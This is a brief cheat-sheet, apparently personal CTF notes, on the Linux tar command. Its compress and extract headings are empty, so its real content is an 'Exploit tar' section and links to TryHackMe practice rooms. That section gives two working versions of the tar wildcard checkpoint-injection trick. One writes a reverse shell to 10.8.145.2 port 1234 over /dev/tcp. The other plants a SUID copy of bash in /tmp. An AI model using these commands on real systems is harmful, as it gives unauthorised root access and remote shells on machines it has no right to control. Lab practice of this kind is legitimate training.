Linux command: tar

tar (Tape ARchive) - an archiving utility

Compress

Uncompress (extract)

Exploit tar

touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh shell.sh"
echo -e "bash -c 'exec bash -i &>/dev/tcp/10.8.145.2/1234 <&1'" > shell.sh

Yet another version

touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ runme.sh
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > runme.sh

Practice

>>> THM | Cyborg

>>> THM | VulnNet

>>> THM | Gila CMesS

>>> THM | Linux PrivEsc Arena - Task 17 - Cron (Wildcards)